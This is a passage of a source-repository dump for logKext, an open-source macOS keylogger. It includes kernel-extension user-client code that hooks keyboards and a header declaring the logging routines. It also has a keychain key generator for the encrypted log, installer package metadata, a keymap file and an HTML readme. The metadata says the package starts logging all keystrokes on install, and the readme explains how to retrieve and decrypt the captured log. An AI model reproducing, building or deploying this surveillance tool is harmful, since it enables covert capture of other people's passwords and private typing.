` ). You will need to enter your administrator password.
56 |
57 | **Note: For security reasons, it is recommended that you change your password from the default setting.**
58 |
--------------------------------------------------------------------------------
/logKext_UC.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | logKext_UC.cpp
3 | logKext
4 |
5 | Copyright 2007 Braden Thomas
6 |
7 | Licensed under the Apache License, Version 2.0 (the "License");
8 | you may not use this file except in compliance with the License.
9 | You may obtain a copy of the License at
10 |
11 | http://www.apache.org/licenses/LICENSE-2.0
12 |
13 | Unless required by applicable law or agreed to in writing, software
14 | distributed under the License is distributed on an "AS IS" BASIS,
15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
16 | See the License for the specific language governing permissions and
17 | limitations under the License.
18 | */
19 |
20 | #include "logKext.h"
21 |
22 | #define super IOUserClient
23 | OSDefineMetaClassAndStructors( logKextUserClient, IOUserClient );
24 |
25 | bool logKextUserClient::initWithTask( task_t owningTask,
26 | void * securityID,
27 | UInt32 type,
28 | OSDictionary * properties )
29 | {
30 | if (clientHasPrivilege(owningTask, kIOClientPrivilegeAdministrator)!=kIOReturnSuccess)
31 | {
32 | IOLog( "logKextUserClient::Error: unprivileged task attempted to init\n");
33 | return false;
34 | }
35 |
36 | #ifdef LK_DEBUG
37 | IOLog("logKextUserClient::initWithTask(type %ld)\n", type);
38 | #endif
39 |
40 | if (!super::initWithTask(owningTask, securityID, type))
41 | return false;
42 |
43 | if (!owningTask)
44 | return false;
45 |
46 | fTask = owningTask; // remember who instantiated us
47 | fProvider = NULL;
48 |
49 | return true;
50 | }
51 |
52 |
53 | bool logKextUserClient::start( IOService* provider )
54 | {
55 | #ifdef LK_DEBUG
56 | IOLog( "logKextUserClient::start\n" );
57 | #endif
58 |
59 | if( !super::start( provider ) )
60 | return false;
61 |
62 | // see if it's the correct class and remember it at the same time
63 | fProvider = OSDynamicCast( com_fsb_iokit_logKext, provider );
64 | if( !fProvider )
65 | return false;
66 |
67 | fProvider->activate(); // call activate on kext to hook keyboards
68 |
69 | return true;
70 | }
71 |
72 | void logKextUserClient::stop( IOService* provider )
73 | {
74 | #ifdef LK_DEBUG
75 | IOLog( "logKextUserClient::stop\n" );
76 | #endif
77 |
78 | super::stop( provider );
79 | }
80 |
81 |
82 | IOReturn logKextUserClient::clientClose( void )
83 | {
84 | #ifdef LK_DEBUG
85 | IOLog( "logKextUserClient::clientClose\n" );
86 | #endif
87 |
88 | fProvider->deactivate(); // call deactivate on kext to unhook keyboards
89 |
90 | fTask = NULL;
91 | fProvider = NULL;
92 | terminate();
93 |
94 | return kIOReturnSuccess;
95 |
96 | }
97 |
98 | IOExternalMethod* logKextUserClient::getTargetAndMethodForIndex(IOService** targetP, UInt32 index )
99 | {
100 | *targetP = fProvider; // driver is target of all our external methods
101 |
102 | // validate index and return the appropriate IOExternalMethod
103 | if( index < kNumlogKextMethods )
104 | return (IOExternalMethod*) &externalMethods[index];
105 | else
106 | return NULL;
107 | }
108 |
--------------------------------------------------------------------------------
/packageGen/logKext.pmdoc/index.xml:
--------------------------------------------------------------------------------
1 | logKext/Users/1q2w/Desktop/logKext-2.4.pkgcom.fsblogKext v2.4
2 | Mavericks update: 2014-03-01
3 | Summary:
4 | LogKext is an open source keylogger for Mac OS X, a product of FSB software.
5 |
6 | Requirements:
7 | Mac OS X 10.7.x - 10.9.x (64-bit kernel)
8 |
9 | Details:
10 | Simply install the package and logKext will begin running and logging all keystrokes.
11 | A logKext help HTML file will be installed in your root directory and opened after installation.
12 | LogKext v2.4 also includes a stand-alone script to uninstall logKext.
13 |
14 | https://github.com/SlEePlEs5/logKext- 01logkext.xml
- 02logkextuninstall.xml
- 03logkext.xml
- 04logkextkeymap.xml
- 05logkext.xml
- 06logkextdaemon.xml
- 07logkextclient.xml
- 08logkextkeygen.xml
descriptionproperties.titleproperties.anywhereDomainproperties.userDomainpostinstallActions.actionsextraFilesproperties.customizeOptionproperties.systemDomain
33 |
--------------------------------------------------------------------------------
/logKextClient.xcodeproj/xcuserdata/1q2w.xcuserdatad/xcschemes/logKextClient.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
39 |
40 |
41 |
42 |
51 |
52 |
58 |
59 |
60 |
61 |
62 |
63 |
69 |
70 |
76 |
77 |
78 |
79 |
81 |
82 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/logKextDaemon.xcodeproj/xcuserdata/1q2w.xcuserdatad/xcschemes/logKextDaemon.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
39 |
40 |
41 |
42 |
51 |
52 |
58 |
59 |
60 |
61 |
62 |
63 |
69 |
70 |
76 |
77 |
78 |
79 |
81 |
82 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/logKextKeyGen.xcodeproj/xcuserdata/1q2w.xcuserdatad/xcschemes/logKextKeyGen.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
39 |
40 |
41 |
42 |
51 |
52 |
58 |
59 |
60 |
61 |
62 |
63 |
69 |
70 |
76 |
77 |
78 |
79 |
81 |
82 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/packageGen/Package_contents/LogKext Readme.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
12 | LogKext v2.4
13 |
14 |
15 | logKext v2.4
16 | Release Date: 2014-03-01
17 |
18 |
Summary:
LogKext is an open source keylogger for Mac OS X, a product of FSB software.
19 |
20 | Requirements:
Mac OS X 10.7.x - 10.9.x
21 |
22 | How to get started:
Control and usage of logKext is through logKextClient. LogKextClient runs through the Mac OS X Terminal.
23 |
24 | Step 1: Finding the Terminal
25 |
26 | Locate the Terminal Application (/Applications/Utilities/Terminal)
27 |
28 | Step 2: Using the Terminal
29 |
30 | The window that pops up will have a command prompt that looks something like this:
Bill's-Computer:~ bill$
31 | At the prompt type the following command and press return:
32 |
33 | sudo logKextClient
34 |
35 |
36 | You will be prompted for your account password (you must be an administrator). Enter it. You will not see the password echoed to the screen as you type it.
37 |
38 | Next, logKext will prompt you for your logKext password:
39 |
40 | logKext password:
41 |
42 |
43 | Type in your logKext password. The default password is "logKext". You will not see the password echoed to the screen as you type it.
44 |
45 | Step 3: Operating logKextClient
46 |
47 | LogKextClient is an interactive client that allows you to change preference values that will change the behavior of your keylogger. Type help to get the help screen.
48 |
49 | Most likely, you will want to see the logfile! To do this, use the open command. It will save the decrypted logfile to your desktop, and open it in a text editor. If you haven't yet typed 100 characters, you will not yet have a logfile. Come back later and try again.
50 |
51 | Uninstalling logKextClient
52 |
53 | A standalone script has been installed in your computer's root directory that will uninstall logKext. It is called LogKextUninstall.command. Double-click it to run.
54 |
55 | Most Frequently Asked Question: Why is my logfile all gibberish?
56 |
57 | If you have changed your password or turned encryption on or off, you must delete the logfile before these changes take effect; otherwise your client will try to decrypt using a different password than your daemon is encrypting: this results in "gibberish".
58 |
59 | Use the logKextClient list command to see where your logfile is, then quit logKextClient. Find the logfile using the path, and throw it in the trash. If you try to empty the trash, don't worry if it says: The operation can't be completed because the item "com.fsb.logKext" is in use.
60 | After a while, you will be able to delete it.
61 |
62 | You can also delete the logfile from the terminal if you know how ( sudo rm -f <path> ). You will need to enter your administrator password.
63 |
64 | Project page (source code and bug reports)
65 |
66 | Note: For security reasons, it is recommended that you change your password from the default setting.
67 |
68 |
69 |
--------------------------------------------------------------------------------
/logKext.h:
--------------------------------------------------------------------------------
1 | /*
2 | logKext.h
3 | logKext
4 |
5 | Copyright 2007 Braden Thomas
6 |
7 | Licensed under the Apache License, Version 2.0 (the "License");
8 | you may not use this file except in compliance with the License.
9 | You may obtain a copy of the License at
10 |
11 | http://www.apache.org/licenses/LICENSE-2.0
12 |
13 | Unless required by applicable law or agreed to in writing, software
14 | distributed under the License is distributed on an "AS IS" BASIS,
15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
16 | See the License for the specific language governing permissions and
17 | limitations under the License.
18 | */
19 |
20 | #ifndef LOGKEXT_H
21 | #define LOGKEXT_H
22 |
23 | #include "logKextCommon.h"
24 |
25 | #include
26 |
27 | #include
28 | #include
29 | #include
30 |
31 | #define private public
32 | #define protected public
33 | #include
34 | #undef private
35 | #undef protected
36 |
37 | void logAction(OSObject *,unsigned,unsigned,unsigned,unsigned,
38 | unsigned,unsigned,unsigned,unsigned,bool,AbsoluteTime,OSObject *,void *);
39 |
40 | void specialAction(OSObject *,unsigned,unsigned,
41 | unsigned,unsigned,UInt64,bool,AbsoluteTime,OSObject *,void *);
42 |
43 | class com_fsb_iokit_logKext : public IOService
44 | {
45 |
46 | OSDeclareDefaultStructors(com_fsb_iokit_logKext);
47 |
48 | friend class logKextUserClient;
49 |
50 | protected:
51 |
52 | unsigned char* fMemBuf;
53 | UInt32 buffsize;
54 |
55 | IONotifier *notify;
56 | IONotifier *notifyTerm;
57 |
58 | // notification handler
59 | static bool myNotificationHandler(void *target, void *ref, IOService *newServ);
60 | static bool termNotificationHandler(void *target, void *ref, IOService *newServ);
61 |
62 | public:
63 |
64 | UInt32 kextKeys;
65 |
66 | // IOService overrides
67 | virtual bool start(IOService *provider);
68 | virtual void stop(IOService *provider);
69 |
70 | void activate();
71 | void deactivate();
72 | void clearKeyboards();
73 |
74 | OSArray *loggedKeyboards;
75 |
76 | IOReturn BuffandKeys(UInt32* size,UInt32* keys);
77 | IOReturn Buffer(bufferStruct* inStruct);
78 |
79 | void logStroke( unsigned key, unsigned flags, unsigned charCode );
80 | };
81 |
82 |
83 | /*
84 | This is the UserClient class that is used to talk to the driver (kext) from userland.
85 | */
86 |
87 |
88 | class logKextUserClient : public IOUserClient
89 | {
90 |
91 | OSDeclareDefaultStructors(logKextUserClient);
92 |
93 | protected:
94 | com_fsb_iokit_logKext* fProvider;
95 | task_t fTask;
96 |
97 | public:
98 | // IOService overrides
99 | virtual bool start( IOService* provider );
100 | virtual void stop( IOService* provider );
101 |
102 | // IOUserClient overrides
103 | virtual bool initWithTask( task_t owningTask,
104 | void * securityID,
105 | UInt32 type,
106 | OSDictionary * properties );
107 | virtual IOReturn clientClose();
108 | virtual IOExternalMethod* getTargetAndMethodForIndex( IOService** targetP, UInt32 index );
109 | };
110 |
111 | // external methods table
112 | static const IOExternalMethod externalMethods[kNumlogKextMethods] =
113 | {
114 | {
115 | // ::IOReturn BuffandKeys(UInt32* size,UInt32* keys);
116 | NULL,
117 | (IOMethod)&com_fsb_iokit_logKext::BuffandKeys,
118 | kIOUCScalarIScalarO, // scalar in/out
119 | 0, // number of scalar inputs
120 | 2 // number of scalar outputs
121 | },
122 | {
123 | // ::IOReturn Buffer(bufferStruct* myStruct)
124 | NULL,
125 | (IOMethod)&com_fsb_iokit_logKext::Buffer,
126 | kIOUCScalarIStructO, // scalar in/struct out
127 | 0, // number of scalar inputs
128 | sizeof(bufferStruct) // size of structure output
129 | },
130 |
131 | };
132 |
133 | #endif
--------------------------------------------------------------------------------
/logKextKeyGen.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "logKextKeyGen.h"
5 |
6 | void removeKey()
7 | {
8 | SecKeychainRef sysChain;
9 | OSStatus secRes = SecKeychainOpen("/Library/Keychains/System.keychain", &sysChain);
10 | if (secRes)
11 | {
12 | printf("Couldn't get system keychain: %d\n",secRes);
13 | return;
14 | }
15 |
16 | SecKeychainItemRef itemRef=NULL;
17 | secRes = SecKeychainFindGenericPassword(sysChain, strlen("logKextPassKey"), "logKextPassKey", 0, NULL, NULL, NULL, &itemRef);
18 | if (secRes && secRes != errSecItemNotFound) {
19 | printf("Error: couldn't find item: %d\n",secRes);
20 | return;
21 | }
22 | else if (secRes == errSecItemNotFound) {
23 | printf("Error: couldn't find passkey\n");
24 | return;
25 | }
26 | else
27 | printf("Successfully found item\n");
28 |
29 | secRes = SecKeychainItemDelete(itemRef);
30 | if (secRes)
31 | printf("Couldn't delete item: %d\n",secRes);
32 | else
33 | printf("Deleted item\n");
34 | }
35 |
36 | SecAccessRef getAccessRef()
37 | {
38 | SecTrustedApplicationRef appRefs[3];
39 | // corresponds to self
40 | OSStatus secRes = SecTrustedApplicationCreateFromPath(NULL, &appRefs[0]);
41 | if (secRes)
42 | {
43 | printf("Error: couldn't create trusted app from keygen path: %d\n",secRes);
44 | return NULL;
45 | }
46 | secRes = SecTrustedApplicationCreateFromPath(DAEMON_PATH, &appRefs[1]);
47 | if (secRes)
48 | {
49 | printf("Error: couldn't create trusted app from daemon path: %d\n",secRes);
50 | return NULL;
51 | }
52 | secRes = SecTrustedApplicationCreateFromPath(CLIENT_PATH, &appRefs[2]);
53 | if (secRes)
54 | {
55 | printf("Error: couldn't create trusted app from client path: %d\n",secRes);
56 | return NULL;
57 | }
58 | CFArrayRef trustedList = CFArrayCreate(NULL, (void*)appRefs, sizeof(appRefs)/sizeof(*appRefs), NULL);
59 | SecAccessRef accessRef;
60 | secRes = SecAccessCreate(CFSTR("logKextPassKey"), trustedList, &accessRef);
61 | if (secRes)
62 | {
63 | printf("Error: couldn't create secAccess %d\n",secRes);
64 | return NULL;
65 | }
66 | return accessRef;
67 | }
68 |
69 | void generateKey()
70 | {
71 | SecKeychainRef sysChain;
72 | OSStatus secRes = SecKeychainOpen("/Library/Keychains/System.keychain", &sysChain);
73 | if (secRes)
74 | {
75 | printf("Couldn't get system keychain: %d\n",secRes);
76 | return;
77 | }
78 |
79 | SecAccessRef accessRef = getAccessRef();
80 | if (accessRef==NULL)
81 | return;
82 |
83 | SecKeychainItemRef itemRef=NULL;
84 | char *passData;
85 | UInt32 passLen=0;
86 | secRes = SecKeychainFindGenericPassword(sysChain, strlen("logKextPassKey"), "logKextPassKey", 0, NULL, NULL, NULL, &itemRef);
87 | if (secRes != errSecItemNotFound)
88 | {
89 | printf("Warning: item already exists\n");
90 |
91 | secRes = SecKeychainItemCopyContent(itemRef, NULL, NULL, &passLen, (void**)&passData);
92 | if (secRes)
93 | {
94 | printf("Error: Unable to copy keychain data: %d\n",secRes);
95 | return;
96 | }
97 | secRes = SecKeychainItemDelete(itemRef);
98 | if (secRes)
99 | {
100 | printf("Error: Unable to delete original keychain item: %d\n",secRes);
101 | return;
102 | }
103 | }
104 | else if (secRes == errSecItemNotFound)
105 | {
106 | passLen=16;
107 | passData = malloc(passLen);
108 | RAND_bytes((unsigned char*)passData, passLen);
109 | }
110 | else
111 | {
112 | printf("Error accessing keychain: %d\n",secRes);
113 | return;
114 | }
115 |
116 | SecKeychainAttribute attrs[] = {
117 | { kSecLabelItemAttr, strlen("logKextPassKey"), "logKextPassKey" },
118 | { kSecServiceItemAttr, strlen("logKextPassKey"), "logKextPassKey" }
119 | };
120 | SecKeychainAttributeList attributes = { sizeof(attrs) / sizeof(attrs[0]), attrs };
121 |
122 | secRes = SecKeychainItemCreateFromContent(kSecGenericPasswordItemClass, &attributes, passLen, passData, sysChain, accessRef, &itemRef);
123 | if (secRes)
124 | printf("Error creating keychain item: %d\n",secRes);
125 | }
126 |
127 | int main (int argc, const char * argv[]) {
128 |
129 | if (argc>1 && !strcmp(argv[1], "remove"))
130 | removeKey();
131 | else
132 | generateKey();
133 |
134 | return 0;
135 | }
136 |
--------------------------------------------------------------------------------
/packageGen/Package_contents/Library/Application Support/logKext/logKextKeymap.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Flags
6 |
7 | 0x01
8 | <fn>
9 | 0x02
10 | <cmd>
11 | 0x04
12 | <opt>
13 | 0x08
14 | <cntrl>
15 |
16 | Lowercase
17 |
18 | 0
19 | a
20 | 1
21 | s
22 | 11
23 | b
24 | 117
25 | <del>
26 | 12
27 | q
28 | 123
29 | <left>
30 | 124
31 | <right>
32 | 125
33 | <down>
34 | 126
35 | <up>
36 | 13
37 | w
38 | 14
39 | e
40 | 15
41 | r
42 | 16
43 | y
44 | 17
45 | t
46 | 18
47 | 1
48 | 19
49 | 2
50 | 2
51 | d
52 | 20
53 | 3
54 | 21
55 | 4
56 | 22
57 | 6
58 | 23
59 | 5
60 | 24
61 | =
62 | 25
63 | 9
64 | 26
65 | 7
66 | 27
67 | -
68 | 28
69 | 8
70 | 29
71 | 0
72 | 3
73 | f
74 | 30
75 | ]
76 | 31
77 | o
78 | 32
79 | u
80 | 33
81 | [
82 | 34
83 | i
84 | 35
85 | p
86 | 36
87 | \n
88 | 37
89 | l
90 | 38
91 | j
92 | 39
93 | '
94 | 4
95 | h
96 | 40
97 | k
98 | 41
99 | ;
100 | 42
101 | \
102 | 43
103 | ,
104 | 44
105 | /
106 | 45
107 | n
108 | 46
109 | m
110 | 47
111 | .
112 | 48
113 | <tab>
114 | 49
115 |
116 | 5
117 | g
118 | 50
119 | `
120 | 51
121 | <del>
122 | 52
123 | \n
124 | 53
125 | <esc>
126 | 6
127 | z
128 | 7
129 | x
130 | 8
131 | c
132 | 9
133 | v
134 |
135 | Uppercase
136 |
137 | 0
138 | A
139 | 1
140 | S
141 | 11
142 | B
143 | 117
144 | <del>
145 | 12
146 | Q
147 | 123
148 | <left>
149 | 124
150 | <right>
151 | 125
152 | <down>
153 | 126
154 | <up>
155 | 13
156 | W
157 | 14
158 | E
159 | 15
160 | R
161 | 16
162 | Y
163 | 17
164 | T
165 | 18
166 | !
167 | 19
168 | @
169 | 2
170 | D
171 | 20
172 | #
173 | 21
174 | $
175 | 22
176 | ^
177 | 23
178 | %
179 | 24
180 | +
181 | 25
182 | (
183 | 26
184 | &
185 | 27
186 | _
187 | 28
188 | *
189 | 29
190 | )
191 | 3
192 | F
193 | 30
194 | }
195 | 31
196 | O
197 | 32
198 | U
199 | 33
200 | {
201 | 34
202 | I
203 | 35
204 | P
205 | 36
206 | \n
207 | 37
208 | L
209 | 38
210 | J
211 | 39
212 | "
213 | 4
214 | H
215 | 40
216 | K
217 | 41
218 | :
219 | 42
220 | |
221 | 43
222 | <
223 | 44
224 | ?
225 | 45
226 | N
227 | 46
228 | M
229 | 47
230 | >
231 | 48
232 | <shift><tab>
233 | 49
234 |
235 | 5
236 | G
237 | 50
238 | ~
239 | 51
240 | <del>
241 | 52
242 | \n
243 | 53
244 | <esc>
245 | 6
246 | Z
247 | 7
248 | X
249 | 8
250 | C
251 | 9
252 | V
253 |
254 |
255 |
256 |
--------------------------------------------------------------------------------
/logKextKeyGen.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 42;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 62E5F29318AFB81900BF83AE /* libcrypto.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 62E5F29218AFB81900BF83AE /* libcrypto.dylib */; };
11 | 8DD76F770486A8DE00D96B5E /* logKextKeyGen.c in Sources */ = {isa = PBXBuildFile; fileRef = 08FB7796FE84155DC02AAC07 /* logKextKeyGen.c */; settings = {ATTRIBUTES = (); }; };
12 | 8DD76F790486A8DE00D96B5E /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */; };
13 | F8A3F97B0D3316CF0073D03B /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F8A3F97A0D3316CF0073D03B /* Security.framework */; };
14 | /* End PBXBuildFile section */
15 |
16 | /* Begin PBXCopyFilesBuildPhase section */
17 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */ = {
18 | isa = PBXCopyFilesBuildPhase;
19 | buildActionMask = 8;
20 | dstPath = /usr/share/man/man1/;
21 | dstSubfolderSpec = 0;
22 | files = (
23 | );
24 | runOnlyForDeploymentPostprocessing = 1;
25 | };
26 | /* End PBXCopyFilesBuildPhase section */
27 |
28 | /* Begin PBXFileReference section */
29 | 08FB7796FE84155DC02AAC07 /* logKextKeyGen.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = logKextKeyGen.c; sourceTree = ""; };
30 | 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreFoundation.framework; path = /System/Library/Frameworks/CoreFoundation.framework; sourceTree = ""; };
31 | 62E5F29218AFB81900BF83AE /* libcrypto.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libcrypto.dylib; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.9.sdk/usr/lib/libcrypto.dylib; sourceTree = SYSTEM_DEVELOPER_DIR; };
32 | 8DD76F7E0486A8DE00D96B5E /* logKextKeyGen */ = {isa = PBXFileReference; explicitFileType = "compiled.mach-o.executable"; includeInIndex = 0; path = logKextKeyGen; sourceTree = BUILT_PRODUCTS_DIR; };
33 | F8A3F97A0D3316CF0073D03B /* Security.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = Security.framework; path = /System/Library/Frameworks/Security.framework; sourceTree = ""; };
34 | F8C99C390D33CECD009A32D9 /* logKextKeyGen.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = logKextKeyGen.h; sourceTree = ""; };
35 | /* End PBXFileReference section */
36 |
37 | /* Begin PBXFrameworksBuildPhase section */
38 | 8DD76F780486A8DE00D96B5E /* Frameworks */ = {
39 | isa = PBXFrameworksBuildPhase;
40 | buildActionMask = 2147483647;
41 | files = (
42 | 62E5F29318AFB81900BF83AE /* libcrypto.dylib in Frameworks */,
43 | 8DD76F790486A8DE00D96B5E /* CoreFoundation.framework in Frameworks */,
44 | F8A3F97B0D3316CF0073D03B /* Security.framework in Frameworks */,
45 | );
46 | runOnlyForDeploymentPostprocessing = 0;
47 | };
48 | /* End PBXFrameworksBuildPhase section */
49 |
50 | /* Begin PBXGroup section */
51 | 08FB7794FE84155DC02AAC07 /* logKextKeyGen */ = {
52 | isa = PBXGroup;
53 | children = (
54 | 08FB7795FE84155DC02AAC07 /* Source */,
55 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */,
56 | 19C28FBDFE9D53C911CA2CBB /* Products */,
57 | );
58 | name = logKextKeyGen;
59 | sourceTree = "";
60 | };
61 | 08FB7795FE84155DC02AAC07 /* Source */ = {
62 | isa = PBXGroup;
63 | children = (
64 | F8C99C390D33CECD009A32D9 /* logKextKeyGen.h */,
65 | 08FB7796FE84155DC02AAC07 /* logKextKeyGen.c */,
66 | );
67 | name = Source;
68 | sourceTree = "";
69 | };
70 | 08FB779DFE84155DC02AAC07 /* External Frameworks and Libraries */ = {
71 | isa = PBXGroup;
72 | children = (
73 | 62E5F29218AFB81900BF83AE /* libcrypto.dylib */,
74 | F8A3F97A0D3316CF0073D03B /* Security.framework */,
75 | 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */,
76 | );
77 | name = "External Frameworks and Libraries";
78 | sourceTree = "";
79 | };
80 | 19C28FBDFE9D53C911CA2CBB /* Products */ = {
81 | isa = PBXGroup;
82 | children = (
83 | 8DD76F7E0486A8DE00D96B5E /* logKextKeyGen */,
84 | );
85 | name = Products;
86 | sourceTree = "";
87 | };
88 | /* End PBXGroup section */
89 |
90 | /* Begin PBXNativeTarget section */
91 | 8DD76F740486A8DE00D96B5E /* logKextKeyGen */ = {
92 | isa = PBXNativeTarget;
93 | buildConfigurationList = 1DEB924708733DCA0010E9CD /* Build configuration list for PBXNativeTarget "logKextKeyGen" */;
94 | buildPhases = (
95 | 8DD76F760486A8DE00D96B5E /* Sources */,
96 | 8DD76F780486A8DE00D96B5E /* Frameworks */,
97 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */,
98 | );
99 | buildRules = (
100 | );
101 | dependencies = (
102 | );
103 | name = logKextKeyGen;
104 | productInstallPath = "$(HOME)/bin";
105 | productName = logKextKeyGen;
106 | productReference = 8DD76F7E0486A8DE00D96B5E /* logKextKeyGen */;
107 | productType = "com.apple.product-type.tool";
108 | };
109 | /* End PBXNativeTarget section */
110 |
111 | /* Begin PBXProject section */
112 | 08FB7793FE84155DC02AAC07 /* Project object */ = {
113 | isa = PBXProject;
114 | attributes = {
115 | };
116 | buildConfigurationList = 1DEB924B08733DCA0010E9CD /* Build configuration list for PBXProject "logKextKeyGen" */;
117 | compatibilityVersion = "Xcode 2.4";
118 | developmentRegion = English;
119 | hasScannedForEncodings = 1;
120 | knownRegions = (
121 | en,
122 | );
123 | mainGroup = 08FB7794FE84155DC02AAC07 /* logKextKeyGen */;
124 | projectDirPath = "";
125 | projectRoot = "";
126 | targets = (
127 | 8DD76F740486A8DE00D96B5E /* logKextKeyGen */,
128 | );
129 | };
130 | /* End PBXProject section */
131 |
132 | /* Begin PBXSourcesBuildPhase section */
133 | 8DD76F760486A8DE00D96B5E /* Sources */ = {
134 | isa = PBXSourcesBuildPhase;
135 | buildActionMask = 2147483647;
136 | files = (
137 | 8DD76F770486A8DE00D96B5E /* logKextKeyGen.c in Sources */,
138 | );
139 | runOnlyForDeploymentPostprocessing = 0;
140 | };
141 | /* End PBXSourcesBuildPhase section */
142 |
143 | /* Begin XCBuildConfiguration section */
144 | 1DEB924808733DCA0010E9CD /* Development */ = {
145 | isa = XCBuildConfiguration;
146 | buildSettings = {
147 | COPY_PHASE_STRIP = NO;
148 | GCC_DYNAMIC_NO_PIC = NO;
149 | GCC_ENABLE_FIX_AND_CONTINUE = YES;
150 | GCC_MODEL_TUNING = G5;
151 | GCC_OPTIMIZATION_LEVEL = 0;
152 | INSTALL_PATH = /usr/local/bin;
153 | PRODUCT_NAME = logKextKeyGen;
154 | SDKROOT = macosx;
155 | ZERO_LINK = YES;
156 | };
157 | name = Development;
158 | };
159 | 1DEB924908733DCA0010E9CD /* Deployment */ = {
160 | isa = XCBuildConfiguration;
161 | buildSettings = {
162 | DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
163 | GCC_MODEL_TUNING = G5;
164 | INSTALL_PATH = /usr/local/bin;
165 | PRODUCT_NAME = logKextKeyGen;
166 | SDKROOT = macosx;
167 | };
168 | name = Deployment;
169 | };
170 | 1DEB924C08733DCA0010E9CD /* Development */ = {
171 | isa = XCBuildConfiguration;
172 | buildSettings = {
173 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
174 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
175 | GCC_WARN_UNUSED_VARIABLE = YES;
176 | MACOSX_DEPLOYMENT_TARGET = 10.7;
177 | ONLY_ACTIVE_ARCH = YES;
178 | PREBINDING = NO;
179 | SDKROOT = macosx;
180 | };
181 | name = Development;
182 | };
183 | 1DEB924D08733DCA0010E9CD /* Deployment */ = {
184 | isa = XCBuildConfiguration;
185 | buildSettings = {
186 | ARCHS = "$(ARCHS_STANDARD_32_64_BIT)";
187 | GCC_WARN_ABOUT_RETURN_TYPE = YES;
188 | GCC_WARN_UNUSED_VARIABLE = YES;
189 | MACOSX_DEPLOYMENT_TARGET = 10.7;
190 | PREBINDING = NO;
191 | SDKROOT = macosx;
192 | };
193 | name = Deployment;
194 | };
195 | /* End XCBuildConfiguration section */
196 |
197 | /* Begin XCConfigurationList section */
198 | 1DEB924708733DCA0010E9CD /* Build configuration list for PBXNativeTarget "logKextKeyGen" */ = {
199 | isa = XCConfigurationList;
200 | buildConfigurations = (
201 | 1DEB924808733DCA0010E9CD /* Development */,
202 | 1DEB924908733DCA0010E9CD /* Deployment */,
203 | );
204 | defaultConfigurationIsVisible = 0;
205 | defaultConfigurationName = Deployment;
206 | };
207 | 1DEB924B08733DCA0010E9CD /* Build configuration list for PBXProject "logKextKeyGen" */ = {
208 | isa = XCConfigurationList;
209 | buildConfigurations = (
210 | 1DEB924C08733DCA0010E9CD /* Development */,
211 | 1DEB924D08733DCA0010E9CD /* Deployment */,
212 | );
213 | defaultConfigurationIsVisible = 0;
214 | defaultConfigurationName = Deployment;
215 | };
216 | /* End XCConfigurationList section */
217 | };
218 | rootObject = 08FB7793FE84155DC02AAC07 /* Project object */;
219 | }
220 |
--------------------------------------------------------------------------------
/logKextClient.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 42;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | 62E5F29118AFB80900BF83AE /* libcrypto.dylib in Frameworks */ = {isa = PBXBuildFile; fileRef = 62E5F29018AFB80900BF83AE /* libcrypto.dylib */; };
11 | 8DD76F790486A8DE00D96B5E /* CoreFoundation.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 09AB6884FE841BABC02AAC07 /* CoreFoundation.framework */; };
12 | F8610A0109284D26003C3B7F /* logKextClient.h in CopyFiles */ = {isa = PBXBuildFile; fileRef = F8610A0009284D26003C3B7F /* logKextClient.h */; };
13 | F890AC350D22FAE400A9C9B9 /* Security.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = F890AC340D22FAE400A9C9B9 /* Security.framework */; };
14 | F89F1520090DBF6B00543619 /* logKextClient.cpp in Sources */ = {isa = PBXBuildFile; fileRef = F89F151F090DBF6B00543619 /* logKextClient.cpp */; };
15 | /* End PBXBuildFile section */
16 |
17 | /* Begin PBXCopyFilesBuildPhase section */
18 | 8DD76F7B0486A8DE00D96B5E /* CopyFiles */ = {
19 | isa = PBXCopyFilesBuildPhase;
20 | buildActionMask = 8;
21 | dstPath = /usr/share/man/man1/;
22 | dstSubfolderSpec = 0;
23 | files = (
24 | F8610A0109284D26003C3B7F /* logKextClient.h in CopyFiles */,
25 | );
